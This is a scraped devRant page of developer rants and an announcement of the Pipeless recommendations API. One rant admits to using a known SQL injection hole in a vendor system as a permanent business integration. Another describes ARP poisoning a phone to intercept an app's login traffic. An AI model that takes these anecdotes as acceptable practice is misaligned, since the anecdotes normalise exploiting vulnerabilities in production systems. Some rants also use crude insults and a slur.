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Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
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Oh, man, I just realized I haven't ranted one of my best stories on here!
So, here goes!
A few years back the company I work for was contacted by an older client regarding a new project.
The guy was now pitching to build the website for the Parliament of another country (not gonna name it, NDAs and stuff), and was planning on outsourcing the development, as he had no team and he was only aiming on taking care of the client service/project management side of the project.
Out of principle (and also to preserve our mental integrity), we have purposely avoided working with government bodies of any kind, in any country, but he was a friend of our CEO and pleaded until we singed on board.
Now, the project itself was way bigger than we expected, as the wanted more of an internal CRM, centralized document archive, event management, internal planning, multiple interfaced, role based access restricted monster of an administration interface, complete with regular user website, also packed with all kind of features, dashboards and so on.
Long story short, a lot bigger than what we were expecting based on the initial brief.
The development period was hell. New features were coming in on a weekly basis. Already implemented functionality was constantly being changed or redefined. No requests we ever made about clarifications and/or materials or information were ever answered on time.
They also somehow bullied the guy that brought us the project into also including the data migration from the old website into the new one we were building and we somehow ended up having to extract meaningful, formatted, sanitized content parsing static HTML files and connecting them to download-able files (almost every page in the old website had files available to download) we needed to also include in a sane way.
Now, don't think the files were simple URL paths we can trace to a folder/file path, oh no!!! The links were some form of hash combination that had to be exploded and tested against some king of database relationship tables that only had hashed indexes relating to other tables, that also only had hashed indexes relating to some other tables that kept a database of the website pages HTML file naming. So what we had to do is identify the files based on a combination of hashed indexes and re-hashed HTML file names that in the end would give us a filename for a real file that we had to then search for inside a list of over 20 folders not related to one another.
So we did this. Created a script that processed the hell out of over 10000 HTML files, database entries and files and re-indexed and re-named all this shit into a meaningful database of sane data and well organized files.
So, with this we were nearing the finish line for the project, which by now exceeded the estimated time by over to times.
We test everything, retest it all again for good measure, pack everything up for deployment, simulate on a staging environment, give the final client access to the staging version, get them to accept that all requirements are met, finish writing the documentation for the codebase, write detailed deployment procedure, include some automation and testing tools also for good measure, recommend production setup, hardware specs, software versions, server side optimization like caching, load balancing and all that we could think would ever be useful, all with more documentation and instructions.
As the project was built on PHP/MySQL (as requested), we recommended a Linux environment for production. Oh, I forgot to tell you that over the development period they kept asking us to also include steps for Windows procedures along with our regular documentation. Was a bit strange, but we added it in there just so we can finish and close the damn project.
So, we send them all the above and go get drunk as fuck in celebration of getting rid of them once and for all...
Next day: hung over, I get to the office, open my laptop and see on new email. I only had the one new mail, so I open it to see what it's about.
Lo and behold! The fuckers over in the other country that called themselves "IT guys", and were the ones making all the changes and additions to our requirements, were not capable enough to follow step by step instructions in order to deploy the project on their servers!!!
[Continues in the comments]26 -
Hey everyone,
We have a few pieces of news we're very excited to share with everyone today. Apologies for the long post, but there's a lot to cover!
First, as some of you might have already seen, we just launched the "subscribed" tab in the devRant app on iOS and Android. This feature shows you a feed of the most recent rant posts, likes, and comments from all of the people you subscribe to. This activity feed is updated in real-time (although you have to manually refresh it right now), so you can quickly see the latest activity. Additionally, the feed also shows recommended users (based on your tastes) that you might want to subscribe to. We think both of these aspects of the feed will greatly improve the devRant content discovery experience.
This new feature leads directly into this next announcement. Tim (@trogus) and I just launched a public SaaS API service that powers the features above (and can power many more use-cases across recommendations and activity feeds, with more to come). The service is called Pipeless (https://pipeless.io) and it is currently live (beta), and we encourage everyone to check it out. All feedback is greatly appreciated. It is called Pipeless because it removes the need to create complicated pipelines to power features/algorithms, by instead utilizing the flexibility of graph databases.
Pipeless was born out of the years of experience Tim and I have had working on devRant and from the desire we've seen from the community to have more insight into our technology. One of my favorite (and earliest) devRant memories is from around when we launched, and we instantly had many questions from the community about what tech stack we were using. That interest is what encouraged us to create the "about" page in the app that gives an overview of what technologies we use for devRant.
Since launch, the biggest technology powering devRant has always been our graph database. It's been fun discussing that technology with many of you. Now, we're excited to bring this technology to everyone in the form of a very simple REST API that you can use to quickly build projects that include real-time recommendations and activity feeds. Tim and I are really looking forward to hopefully seeing members of the community make really cool and unique things with the API.
Pipeless has a free plan where you get 75,000 API calls/month and 75,000 items stored. We think this is a solid amount of calls/storage to test out and even build cool projects/features with the API. Additionally, as a thanks for continued support, for devRant++ subscribers who were subscribed before this announcement was posted, we will give some bonus calls/data storage. If you'd like that special bonus, you can just let me know in the comments (as long as your devRant email is the same as Pipeless account email) or feel free to email me (david@hexicallabs.com).
Lastly, and also related, we think Pipeless is going to help us fulfill one of the biggest pieces of feedback we’ve heard from the community. Now, it is going to be our goal to open source the various components of devRant. Although there’s been a few reasons stated in the past for why we haven’t done that, one of the biggest reasons was always the highly proprietary and complicated nature of our backend storage systems. But now, with Pipeless, it will allow us to start moving data there, and then everyone has access to the same system/technology that is powering the devRant backend. The first step for this transition was building the new “subscribed” feed completely on top of Pipeless. We will be following up with more details about this open sourcing effort soon, and we’re very excited for it and we think the community will be too.
Anyway, thank you for reading this and we are really looking forward to everyone’s feedback and seeing what members of the community create with the service. If you’re looking for a very simple way to get started, we have a full sample dataset (1 click to import!) with a tutorial that Tim put together (https://docs.pipeless.io/docs/...) and a full dev portal/documentation (https://docs.pipeless.io).
Let us know if you have any questions and thanks everyone!
- David & Tim (@dfox & @trogus)
53 -
I found out recently that Facebook is embedding tracking data in the form of IPTC metadata in images that you upload. This way the images can be tracked even after you download them.
Because I'm an anarchist and just want to watch the world burn a little, I made a tiny server to replace the id hash that they embed with a random one, just to see if I can't fuck with their algorithm a little bit.
You can check out the project here https://github.com/watzon/fbmdob15 -
Found this gem on GitHub:
// At this point, I'd like to take a moment to speak to you about the Adobe PSD format.
// PSD is not a good format. PSD is not even a bad format. Calling it such would be an
// insult to other bad formats, such as PCX or JPEG. No, PSD is an abysmal format. Having
// worked on this code for several weeks now, my hate for PSD has grown to a raging fire
// that burns with the fierce passion of a million suns.
// If there are two different ways of doing something, PSD will do both, in different
// places. It will then make up three more ways no sane human would think of, and do those
// too. PSD makes inconsistency an art form. Why, for instance, did it suddenly decide
// that *these* particular chunks should be aligned to four bytes, and that this alignement
// should *not* be included in the size? Other chunks in other places are either unaligned,
// or aligned with the alignment included in the size. Here, though, it is not included.
// Either one of these three behaviours would be fine. A sane format would pick one. PSD,
// of course, uses all three, and more.
// Trying to get data out of a PSD file is like trying to find something in the attic of
// your eccentric old uncle who died in a freak freshwater shark attack on his 58th
// birthday. That last detail may not be important for the purposes of the simile, but
// at this point I am spending a lot of time imagining amusing fates for the people
// responsible for this Rube Goldberg of a file format.
// Earlier, I tried to get a hold of the latest specs for the PSD file format. To do this,
// I had to apply to them for permission to apply to them to have them consider sending
// me this sacred tome. This would have involved faxing them a copy of some document or
// other, probably signed in blood. I can only imagine that they make this process so
// difficult because they are intensely ashamed of having created this abomination. I
// was naturally not gullible enough to go through with this procedure, but if I had done
// so, I would have printed out every single page of the spec, and set them all on fire.
// Were it within my power, I would gather every single copy of those specs, and launch
// them on a spaceship directly into the sun.
//
// PSD is not my favourite file format.
Ref : https://github.com/zepouet/...16 -
I recently joined the dark side - an agile consulting company (why and how is a long story). The first client I was assigned to was an international bank. The client wanted a web portal, that was at its core, just a massive web form for their users to perform data entry.
My company pitched and won the project even though they didn't have a single developer on their bench. The entire project team (including myself) was fast tracked through interviews and hired very rapidly so that they could staff the project (a fact I found out months later).
Although I had ~8 years of systems programming experience, my entire web development experience amounted to 12 weeks (a part time web dev course) just before I got hired.
I introduce to you, my team ...
Scrum Master. 12 years experience on paper.
Rote memorised the agile manifesto and scrum textbooks. He constantly went “We should do X instead of (practical thing) Y, because X is the agile way.” Easily pressured by the client to include ridiculous (real time chat in a form filling webpage), and sometimes near impossible features (undo at the keystroke level). He would just nag at the devs until someone mumbled ‘yes' just so that he would stfu and go away.
UX Designer. 3 years experience on paper ... as business analyst.
Zero professional experience in UX. Can’t use design tools like AI / photoshop. All he has is 10 weeks of UX bootcamp and a massive chip on his shoulder. The client wanted a web form, he designed a monstrosity that included several custom components that just HAD to be put in, because UX. When we asked for clarification the reply was a usually condescending “you guys don’t understand UX, just do <insert unhandled edge case>, this is intended."
Developer - PHD in his first job.
Invents programming puzzles to solve where there are none. The user story asked for a upload file button. He implemented a queue system that made use of custom metadata to detect file extensions, file size, and other attributes, so that he could determine which file to synchronously upload first.
Developer - Bootlicker. 5 years experience on paper.
He tried to ingratiate himself with the management from day 1. He also writes code I would fire interns and fail students for. His very first PR corrupted the database. The most recent one didn’t even compile.
Developer - Millennial fratboy with a business degree. 8 years experience on paper.
His entire knowledge of programming amounted to a single data structures class he took on Coursera. Claims that’s all he needs. His PRs was a single 4000+ line files, of which 3500+ failed the linter, had numerous bugs / console warnings / compile warnings, and implemented 60% of functionality requested in the user story. Also forget about getting his attention whenever one of the pretty secretaries walked by. He would leap out of his seat and waltz off to flirt.
Developer - Brooding loner. 6 years experience on paper.
His code works. It runs, in exponential time. Simply ignores you when you attempt to ask.
Developer - Agile fullstack developer extraordinaire. 8 years experience on paper.
Insists on doing the absolute minimum required in the user story, because more would be a waste. Does not believe in thinking ahead for edge conditions because it isn’t in the story. Every single PR is a hack around existing code. Sometimes he hacks a hack that was initially hacked by him. No one understands the components he maintains.
Developer - Team lead. 10 years of programming experience on paper.
Writes spaghetti code with if/else blocks nested 6 levels deep. When asked "how does this work ?”, the answer “I don’t know the details, but hey it works!”. Assigned as the team lead as he had the most experience on paper. Tries organise technical discussions during which he speaks absolute gibberish that either make no sense, or are complete misunderstandings of how our system actually works.
The last 2 guys are actually highly regarded by my company and are several pay grades above me. The rest were hired because my company was desperate to staff the project.
There are a 3 more guys I didn’t mention. The 4 of us literally carried the project. The codebase is ugly as hell because the others merge in each others crap. We have no unit tests, and It’s near impossible to start because of the quality of the code. But this junk works, and was deployed to production. Today is it actually hailed as a success story.
All these 3 guys have quit. 2 of them quit without a job. 1 found a new and better gig.
I’m still here because I need the money. There’s a tsunami of trash code waiting to fail in production, and I’m the only one left holding the fort.
Why am I surrounded by morons?
Why are these retards paid more than me?
Why are they so proud when all they produce is trash?
How on earth are they still hired?
And yeah, FML.8 -
Perhaps not "best", but certainly most amusing, so what the heck!
Years ago as an intern, I applied to a large pharmaceutical company. On part of the application form, you had to enter the code of the department you were applying to.
What I *should have* put down was "IT", which is the department that houses all their devs. However, I didn't actually read any of what the codes meant, assumed that was the department for helping people with how to mail merge, and put down "COMPSCI" instead. This was computational sciences - loosely summarised as computational data analysis on various druggable molecules.
I do *not* have any sort of biology or chemistry background, so the interview was rather... interesting, and I muddled through on the basis of getting some more interview practice assuming it was a no go.
To my amazement, got a phone call saying that they'd been thinking they wanted someone more technical on the team, and despite my lack of scientific experience they thought I'd be a good fit. I was unsure as to whether I should accept for a while, but then decided to just go for it - and had a fantastic internship there, working on a great variety of stuff, and learning tons all under a supervisor who I'm still in touch with to this day.
tl;dr - Applied for the wrong job. Coincidentally got it anyway, and miraculously had a fantastic year working there.8 -
Manager: 'Please remove this checkbox from that page.'
Me: 'Sure thing, it was stupid anyway. Just gimme a couple of minutes.'
Legacy code: 'LOL the checkbox is wired to everything else and if you simply remove it the backend will shit itself. There is several hundred lines of inline Javascript in the HTML template with some Thymeleaf stuff managing the form data or just are there to make the code less readable. The controller for the page is a bit more than a thousand lines of spaghetti, no easy way to find where is that specific data necessary and where can be easily removed. Class variables declared between methods, dozens of nested if statements checking shit in every method and the data is passed through like half a dozen other classes. Good luck with that!'
Me: '💩.'5 -
I've had my share of incompetent coworkers. In order of appearance:
1. A full stack dev. This one guy never, and I mean NEVER uses relationships in their tables. No indexing, no keys, nada. Couple of months later he was baffled why his page took ten seconds to load.
2. The same dev as (1). Requirement was to create some sort of "theme" feature for a web app. Hacked it by putting !important all over the place.
3. The same dev again. He creates several functions that if the data exists returns a view, and if it doesn't, "echo '0'". No, not return 0 or return false or anything, but fucking echo. This was PHP. If posted a rant about this a few months ago.
4. Same dev, has no idea what clean code is. No, not just reusable functions, he doesn't even get indenting right. Some functions have 4 spaces, some 2 tabs, some 6 tabs! And this is inside the same function. God wait until he tries Python...
5. Same dev now suggests that he become the PM. GM approves (very small company). Assigns me to travel to a client since they needed "technical assistance about the API". Was actually there to lead a UAT session.
Intermezzo, that guy went from fullstack dev to PM to sales (yes, one who calls clients to offer products) to business development, to product analyst in the span of two years.
After a year and a half there, I quit.
6. New company, a "QA engineer" who also assumes the role as the product owner. Does absolutely no tests other than "functional tests" in which he NEVER produces any form of documentation. Not even a set of test cases. He goes by "intuition".
7. Same guy as (6), hands me requirements for a feature. By "hands me" I mean he did that verbally. No spec documents, no slack chat, no Trello card. I ended up writing it as a card in Trello. Fast forward to the due date, he flips out because that wasn't what he wanted. Showed him the card. He walked away, without thinking of a solution how this mess should be handled.
Despite all this, I really don't want him (6&7) to leave the company. The devs get really stressed out at this job and he does make a really good person to laugh with/at. -
I wonder why banks are always so terribly insecure, given how much money there's for grabs in there for hackers.
Just a while ago I got a new prepaid credit card from bpost, our local postal service that for some reason also does banking. The reason for that being that - thank you 'Murica! - a lot of websites out there don't accept anything but credit cards and PayPal. Because who in their right mind wouldn't use credit cards, right?! As it turns out, it's pretty much every European I've spoken to so far.
That aside, I got that card, all fine and dandy, it's part of the Mastercard network so at least I can get my purchases from those shitty American sites that don't accept anything else now. Looked into the manual of it because bpost's FAQ isn't very clear about what my login data for their online customer area now actually is. Not that their instruction manual was either.
I noticed in that manual that apparently the PIN code can't be changed (for "security reasons", totally not the alternative that probably they didn't want to implement it), and that requesting a forgotten PIN code can be done with as little as calling them up, and they'll then send the password - not a reset form, the password itself! IN THE FUCKING MAIL.
Because that's apparently how financial institutions manage their passwords. The fact that they know your password means that they're storing it in plain text, probably in a database with all the card numbers and CVC's next to it. Wouldn't that be a treasure trove for cybercriminals, I wonder? But YOU the customer can't change your password, because obviously YOU wouldn't be able to maintain a secure password, yet THEY are obviously the ones with all the security and should be the ones to take out of YOUR hands the responsibility to maintain YOUR OWN password.
Banking logic. I fucking love it.
As for their database.. I reckon that that's probably written in COBOL too. Because why wouldn't you.23 -
After work I wanted to come home and work on a project. I have a few ideas for a few things I want to do, so I started a Trello board with the ideas to start mapping things out. But there were guys redoing the kitchen tile and it was noisy as fuck. So I packed up and headed to the library.
So I get all set up, and start plugging away. Currently working on a database design for a project that is a form for some user data collection for my dad, for an internal company thing. I am not contracted for this - I just know the details so I am using it as a learning exercise. Anyway...
I'm fucking about in a VM in MySQL and I feel someone behind me. So I turn and it's this girl looking over my shoulder. She asks what I am doing, and it turned into a 2 hour conversation. She is only a few years older than me (21) but she was brilliant. She (unintentionally) made me feel SO stupid with her scope of knowledge and giant brain. I learned quite a bit from talking to her and she offered to help me further, if I liked.
And she was really cute. We exchanged phone numbers...16 -
Hahaha, the DPC (Data Protection Commission) has asked Facebook in a letter to stop transferring Europeans' data to the US.
Since the Privacy Shield agreement is off the table, it's illegal regardless to send any kind of PII data from the EU to the US.
How about we stop nicely asking and start giving fines in the form of millions every time PII data is transferred from the EU to the US by Facebook?
If the EU could grow some balls, that'd be fucking great.17 -
Stupid annoying client want me to add 2 new fields on a form. Ok I said, my estimation is that I need 2 days to make the changes on form, database and all the scripts that posting and getting data, plus testing. His reply was, come one do you really want 48 hours to just add 2 fields, its sooo easy!!!! WTF dude... if it is sooo easy why are you fucking bother me??? Do it your self!!!!9
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Just before you, my fellow system programmer, scroll past this, let me say this:
🍬 The web is actiually simple. 🍬
Both HTML and CSS is declarative. It's all easy when you understand the concepts, learn how to be idiomatic and quit trying to do that imperative bullshit in languages that aren't imperative.
HTML is simple. You know the boilerplate: doctype, head, body, that's all. Just mark it up and do NOT look at it before you end, mark it up as it were article or something. The appearance is up to css.
CSS is simple. You may even forget bem or rscss, you're already a skilled software developer. Use common sense and your code-splitting and naming skills you gained reading The Code Complete or doing software development for years.
Forget mockups. Forget absolute positioning, forget setting width and height in pixels. Go to awwwards, find some inspiration. Draw some buttons and fields on paper with your good old pencil. Then go and write some css. Feel free to steal some shadows and transitions from codepen.
Read about 8-pixel grid system. Let every element push away from others by setting something like margin: 16px; and whoops! You've just got fully responsive and got great vertical rhythm without even using media queries!
Oh my god, do NEVER set width and height explicitly! Type something like button { width: 120px; } and bang! The entire web page is broken. Quit that shit. Let it resize as it should. It will resize itself to fit its contents.
HTML is by default ready for your template engine. That's how you receive data from server — as server-side rendered, plain old HTML page. On the other hand, the form element is the most axiomatic and simple way to send the data to server. That's how you send it — as plain old GET or POST that every webserver can handle.
All of there are true:
1. It's easy to get great 100% responsiveness without media queries.
2. It's easy to align items in row, it's just one line of css. Maybe two, if you still want elements to wrap, but want to use flexbox:
.parent {
display: flex;
flex-wrap: wrap;
}
3. HTML and CSS are fast by default.
4. You don't need mockups to achieve great visual experience. Mockups is imperative, web is declarative.
5. You may not even need JavaScript to make great website.
Go on, ask me a question about web! I'll ready to answer everything.21 -
3 rants for the price of 1, isn't that a great deal!
1. HP, you braindead fucking morons!!!
So recently I disassembled this HP laptop of mine to unfuck it at the hardware level. Some issues with the hinge that I had to solve. So I had to disassemble not only the bottom of the laptop but also the display panel itself. Turns out that HP - being the certified enganeers they are - made the following fuckups, with probably many more that I didn't even notice yet.
- They used fucking glue to ensure that the bottom of the display frame stays connected to the panel. Cheap solution to what should've been "MAKE A FUCKING DECENT FRAME?!" but a royal pain in the ass to disassemble. Luckily I was careful and didn't damage the panel, but the chance of that happening was most certainly nonzero.
- They connected the ribbon cables for the keyboard in such a way that you have to reach all the way into the spacing between the keyboard and the motherboard to connect the bloody things. And some extra spacing on the ribbon cables to enable servicing with some room for actually connecting the bloody things easily.. as Carlos Mantos would say it - M-m-M, nonoNO!!!
- Oh and let's not forget an old flaw that I noticed ages ago in this turd. The CPU goes straight to 70°C during boot-up but turning on the fan.. again, M-m-M, nonoNO!!! Let's just get the bloody thing to overheat, freeze completely and force the user to power cycle the machine, right? That's gonna be a great way to make them satisfied, RIGHT?! NO MOTHERFUCKERS, AND I WILL DISCONNECT THE DATA LINES OF THIS FUCKING THING TO MAKE IT SPIN ALL THE TIME, AS IT SHOULD!!! Certified fucking braindead abominations of engineers!!!
Oh and not only that, this laptop is outperformed by a Raspberry Pi 3B in performance, thermals, price and product quality.. A FUCKING SINGLE BOARD COMPUTER!!! Isn't that a great joke. Someone here mentioned earlier that HP and Acer seem to have been competing for a long time to make the shittiest products possible, and boy they fucking do. If there's anything that makes both of those shitcompanies remarkable, that'd be it.
2. If I want to conduct a pentest, I don't want to have to relearn the bloody tool!
Recently I did a Burp Suite test to see how the devRant web app logs in, but due to my Burp Suite being the community edition, I couldn't save it. Fucking amazing, thanks PortSwigger! And I couldn't recreate the results anymore due to what I think is a change in the web app. But I'll get back to that later.
So I fired up bettercap (which works at lower network layers and can conduct ARP poisoning and DNS cache poisoning) with the intent to ARP poison my phone and get the results straight from the devRant Android app. I haven't used this tool since around 2017 due to the fact that I kinda lost interest in offensive security. When I fired it up again a few days ago in my PTbox (which is a VM somewhere else on the network) and today again in my newly recovered HP laptop, I noticed that both hosts now have an updated version of bettercap, in which the options completely changed. It's now got different command-line switches and some interactive mode. Needless to say, I have no idea how to use this bloody thing anymore and don't feel like learning it all over again for a single test. Maybe this is why users often dislike changes to the UI, and why some sysadmins refrain from updating their servers? When you have users of any kind, you should at all times honor their installations, give them time to change their individual configurations - tell them that they should! - in other words give them a grace time, and allow for backwards compatibility for as long as feasible.
3. devRant web app!!
As mentioned earlier I tried to scrape the web app's login flow with Burp Suite but every time that I try to log in with its proxy enabled, it doesn't open the login form but instead just makes a GET request to /feed/top/month?login=1 without ever allowing me to actually log in. This happens in both Chromium and Firefox, in Windows and Arch Linux. Clearly this is a change to the web app, and a very undesirable one. Especially considering that the login flow for the API isn't documented anywhere as far as I know.
So, can this update to the web app be rolled back, merged back to an older version of that login flow or can I at least know how I'm supposed to log in to this API in order to be able to start developing my own client?6 -
What I'm posting here is my 'manifesto'/the things I stand for. You may like it, you may hate it, you may comment but this is what I stand for.
What are the basic principles of life? one of them is sharing, so why stop at software/computers?
I think we should share our software, make it better together and don't put restrictions onto it. Everyone should be able to contribute their part and we should make it better together. Of course, we have to make money but I think that there is a very good way in making money through OSS.
Next to that, since the Snowden releases from 2013, it has come clear that the NSA (and other intelligence agencies) will try everything to get into anyone's messages, devices, systems and so on. That's simply NOT okay.
Our devices should be OUR devices. No agency should be allowed to warrantless bypass our systems/messages security/encryptions for the sake of whatever 'national security' bullshit. Even a former NSA semi-director traveled to the UK to oppose mass surveillance/mass govt. hacking because he, himself, said that it doesn't work.
We should be able to communicate freely without spying. Without the feeling that we are being watched. Too badly, the intelligence agencies of today do not want us to do this and this is why mass surveillance/gag orders (companies having to reveal their users' information without being allowed to alert their users about this) are in place but I think that this is absolutely wrong. When we use end to end encrypted communications, we simply defend ourselves against this non-ethical form of spying.
I'm a heavy Signal (and since a few days also Riot.IM (matrix protocol) (Riot.IM with end to end crypto enabled)), Tutanota (encrypted email) and Linux user because I believe that only those measures (open source, reliable crypto) will protect against all the mass spying we face today.
The applications/services I strongly oppose are stuff like WhatsApp (yes, encryted messages but the metadata is readily available and it's closed source), skype, gmail, outlook and so on and on and on.
I think that we should OWN our OWN data, communications, browsing stuffs, operating systems, softwares and so on.
This was my rant.17 -
Forgive me father, for I have sinned. Alot actually, but I'm here for technical sins. Okay, a particular series of technical sins. Sit your ass back down padre, you signed up for this shit. Where was I? Right, it has been 11429 days since my last confession. May this serve as equal parts rant, confession, and record for the poor SOB who comes after me.
Ended up in a job where everything was done manually or controlled by rickety Access "apps". Many manhours were wasted on sitting and waiting for the main system to spit out a query download so it could be parsed by hand or loaded into one of the aforementioned apps that had a nasty habit of locking up the aged hardware that we were allowed. Updates to the system were done through and awful utility that tended to cut out silently, fail loudly and randomly, or post data horrifically wrong.
Fuck that noise. Floated the idea of automating downloads and uploads to bossman. This is where I learned that the main system had no SQL socket by default, but the vendor managing the system could provide one for an obscene amount of money. There was no buy in from above, not worth the price.
Automated it anyway. Main system had a free form entry field, ostensibly for handwriting SELECT queries. Using Python, AutoHotkey, and glorified copy-pasting, it worked after a fashion. Showed the time saved by not having to do downloads manually. Got us the buy in we needed, bigwigs get negotiating with the vendor, told to start developing something based on some docs from the vendor. Keep the hacky solution running as team loves not having to waste time on downloads.
Found SQLi vulnerability in the above free form query system, brought it up to bossman to bring up the chain. Vulnerability still there months later. Test using it for automated updates. Works and is magnitudes more stable than update utility. Bring it up again and show the time we can save exploiting it. Decision made to use it while it exists, saves more time. Team happier, able to actual develop solutions uninterrupted now. Using Python, AutoHotkey, glorified copy-pasting, and SQLi in the course of day to day business critical work. Ugliest hacky thing I've ever caused to exist.
Flash forward 6 years. Automation system now in heavy use acrossed two companies. Handles all automatic downloads for several departments, 1 million+ discrete updates daily with alot of room for expansion, stuff runs 24/7 on schedule, most former Access apps now gone and written sanely and managed by the automation system. Its on real hardware with real databases and security behind it.
It is still using AutoHotkey, copy-paste, and SQLi to interface with the main system. There never was and never will be a SQL socket. Keep this hellbeast I've spawned chugging along.
I've pointed out how many ways this can all go pearshaped. I've pointed out that one day the vendor will get their shit together they'll come in post system update and nothing will work anymore. I've pointed out the danger in continuing to use the system with such a glaring SQLi vulnerability.
Noone cares. Won't be my problem soon enough.
In no particular order:
Fuck management for not fighting for a good system interface
Fuck the vendor for A) not having a SQL socket and B) leaving the SQLi vulnerability there this long
Fuck me for bringing this thing into existence5 -
The bossman asked if our signup service sends an automated email after we successfully process someone's payment or when we promote them to full customer.
That sounds like a simple query, yeah?
Well.
Here's some background:
We have four applications; one in React, three in Rails. I'll replace their names to retain some anonymity.
1) "IceSkate" is the React app, and it's a glorified signup form. (I wrote this one.)
2) "Bogan" is the main application, and is API-only; its frontend has been long since deprecated by the following two:
3) "Bum" is a fork of "Bogan" that has long since diverged. It now contains admin-only tools.
4) "Kulkuri" is also a fork of "Bogan" that has long since diverged. It now contains tools specifically for customers, which they can access.
All but IceSkate (obv) share a database.
Here's how signups happen:
Signups come in from IceSkate, which hits a backend API on Bogan. Bogan writes the data to the database, charges the card immediately, and leaves the signup for moderation.
And here's how promotion from signup to customer happens:
Bum has a view allowing admins to validate, modify, and "promote" a signup to a full customer. Upon successful promotion, Bum calls "ServerWrap", a module which calls actions on the other applications; in this case: Bogan.
Bogan routes execution through three separate models before calling "ServerWrap" again, this time calling KulKuri.
Finally, KulKuri actually creates the customer!
After KulKuri finishes creating the customer, execution resumes on Bogan, which then returns, causing execution to resume on Bum. Bum then runs through several other models, references the newly-created customer object (as all three share a database), and ... updates the customer with its current data, and then updates the signup object. After all of this, it finally shows the admin the "new customer" view.
It took me 25 minutes to follow the chain of calls, and I still don't know quite what's going on. I have no idea if any of it sends an email or not -- I didn't see any signs of this, but I very easily could have overlooked something.
So, to answer bossman's question... I asked the accounting people if they send the email manually. If they don't, it's automatic, which means I missed something and get to burrow through that mess all over again!
I really hope I missed something; otherwise I need to figure out how and where (and when!) to send the email...
just...
errrrgghh9 -
Government Fucking Websites.
Slow as fuck, disorganized, errors from 2004, UI from 2001.
You have to use them at a time when you really don't feel like waiting 30 fucking seconds for each page load.
Or filling out a fucking form that, ok, they made SOME kind of attempt to save your data, but it's overly complex and annoying.
Government websites. Making tasks that should take 5 minutes, 5 hours, since 1998.
Assholes.8 -
Dear Managers,
This is not efficient:
Boss: * calls *
Me: * answers *
B: there's a bug in feature ABC! The form doesn't work!
M: ABC uses a lot of forms. Is it Form A, B, or C?
B: Umm... let's just go on a Zoom call!
* 5 minutes trying to set up a Zoom call *
* 3 more minutes trying to find the form *
B: This form in here.
M: It works fine for me. What data are you inputting?
B: * takes 5 minutes trying to reproduce the bug * (in the meantime, the call is basically an awkward silence)
You spent 5 minutes wasting both of our times trying to set up a Zoom meeting, and another 8 wasting MY tine trying to find the bug.
This is efficient:
B: There is a bug in form C. If I try to upload this data, it malfunctions.
M: Thank you. I'll look into it.
You saved me 8 minutes of staring at a screen and saved us both another 5 minutes of setting up a meeting.6 -
The nightmare continues.
Currently dealing with a code review from a “principal” dev (one step above senior), who is unironically called a “legendary dev” by some coworkers. It’s painfully obvious he didn’t read the code, and just started complaining and nitpicking.
It’s full of requests to do things that make absolutely no sense, and would make the code an unmaintainable mess.
• Ex: moving the logic and data collection from the module’s many callers into the module instead of just passing in the data.
• Ex: hiding api endpoint declarations by placing them in the module itself, and using magic instance variables to pass data to it. Basically: using global functions and variables instead of explicit declarations and calls.
• Ex: moving the logic to determine which api endpoint to use, for all callers, into the view.
More comments about methods being “too complex” (barely holds water) right next to comments saying “why are these separate? merge them together!”
Incredulously asking how many times I’m checking permissions and how ridiculous it all is. (The answer? Twice.)
Conflating my “permissions” param and method names with a supposedly forthcoming permissions system overhaul, and saying I shouldn’t use permissions because my code will all have to get rewritten. Even if that were true, and it’s likely not, the ticket still needs to use the current permissions. I can’t just ignore them because they might be rewritten someday.
Requests to revert some code cleanup because the reviewer thought the previous heavily-nested and uncommented versions (with code duplication) were easier to read. Unsurprisingly, he wrote them.
On the same ticket, my boss wants me to remove all styling and clientside validation, debouncing, and error messages from a form. Says “success” and “connection failed” messages are good enough. The form in question sends SMS and email using arbitrary user input for addresses. He also says it shouldn’t be denounced on the server, and doesn’t want me to bother checking permissions. Hello, spam!
Related: the legendary dev reviewer says he can’t think of a reason why we would want to disable the feature for consumers, so I should remove the consumer feature flag.
You can’t make this stuff up.7 -
Man I really hate it when people think that coding doesn't take any concentration and can just interrupt you while you're thinking about how to solve problems
So the other day I was working on how to solve a problem with filtering data with JS, and I had to urgently update one of our pages on our website. I had to update that page according to the content of a Word file, which I didn't check how long it was.
About 15 minutes later everything was ready and published, so I set myself back to my problem.
I get an email from her, "you mixed up things" and she showed up in my office. "There are four pages in this word doc and you copied wrong parts", I was like "ok, I'll fix it". Fixed it two minutes later, went back to code.
Received another email, with another subject, again with another problem. Start getting pissed off for being interrupted for nonsense. Fixed it instantly and put my manager in the email loop so she is aware my other colleague pisses me off.
And again, another direct email "can you fix this?!". I started ignoring her requests because I need some work to be done, and I already lost 2 hours. Got again interrupted by her personal visit to point me which things are wrong, repeating everything twice as I am stupid to her. Man I can't code in peace. I fixed her shit, exactly as she wants and decided to pay my manager a visit to tell her I'm really pissed about being interrupted all the time.
Five minutes before the end of the day, she comes panicking in the office about ANOTHER WORTHLESS issue. Told her it's nothing and went away.
Day is over, thought it was over - a whole afternoon spent correcting her fucking page that gets 10 visits a year.
On the next morning, "there is something wrong with your form, can you check it?!!?" with an attached screenshot. FFFFFFFFUUUUUUUUU STOP ANNOYING ME WITH YOUR FUCKING SHIT CANT WORK ANYMORE. PUT YOUR FUCKING PAGE RIGHT UP YOUR ASS AND FIX IT YOURSELF.
She doesn't have any access to the back end.
Guess I'll have to fix it then...9 -
On my former job we once bought a competing company that was failing.
Not for the code but for their customers.
But to make the transition easy we needed to understand their code and database to make a migration script.
And that was a real deep dive.
Their system was built on top of a home grown platform intended to let customers design their own business flows which meant it contained solutions for forms and workflow path design. But that never hit of so instead they used their own platform to design a new system for a more specific purpose.
This required some extra functionality and had it been for their customers to use that functionality would have been added to the platform.
But since they had given up on that they took an easy route and started adding direct references between the code and the configuration.
That is, in the configuration they added explicit class names and method names to be used as data store or for actions.
This was of cause never documented in any way.
And it also was a big contributing cause to their downfall as they hit a complexity they could not handle.
Even the slightest change required synchronizing between the config in the db and the compiled code, which meant you could not see mistakes in compilation but only by trying out every form and action that touched what you changed.
And without documentation or search tools that also meant that no one new could work the code, you had to know what used what to make any changes.
Luckily for us we mostly only needed to understand the storage in the database but even that took about a month to map out WITH the help of their developer ;)
It was not only the “inner platform” it was abusing and breaking the inner platform in more was I can count.
If you are going down the inner platform, at least make sure you go all the way and build it as if it was for the customers, then you at least keep it consistent and keep a clear border between platform and how it is used.12 -
Material-UI.
I'm exhausted, so I'll keep this short.
I changed a TextField to a TimePicker, and noticed my className prop didn't apply anymore.
I thought it was my mui/redux-form wrapper for that component since I had just written it, but that was basically a straight copy/paste from the other wrappers, and both receives and passes the prop just fine.
